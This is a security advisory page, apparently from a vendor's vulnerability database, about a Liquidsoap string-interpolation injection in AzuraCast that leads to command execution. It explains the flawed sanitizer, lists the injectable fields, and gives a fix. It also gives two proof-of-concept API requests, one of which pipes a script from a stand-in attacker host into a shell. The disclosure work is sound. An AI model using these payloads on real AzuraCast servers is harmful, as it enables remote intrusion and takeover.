
Cloud Vulnerability DB
A community-led vulnerabilities database
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}This function only replaces " with ' and strips newlines. It does NOT filter:
#{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\ — Backslash escape characterLiquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field | Permission Required | Config Line |
|---|---|---|
playlist.remote_url | Media | input.http("...") or playlist("...") |
station.name | Profile | name = "..." |
station.description | Profile | description = "..." |
station.genre | Profile | genre = "..." |
station.url | Profile | url = "..." |
backend_config.live_broadcast_text | Profile | settings.azuracast.live_broadcast_text := "..." |
backend_config.dj_mount_point | Profile | input.harbor("...") |
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"The injection fires when the station is restarted, which happens during:
Broadcasting permissionazuracast:radio:restart CLI commandMedia or Profile permissionazuracast userUpdate cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."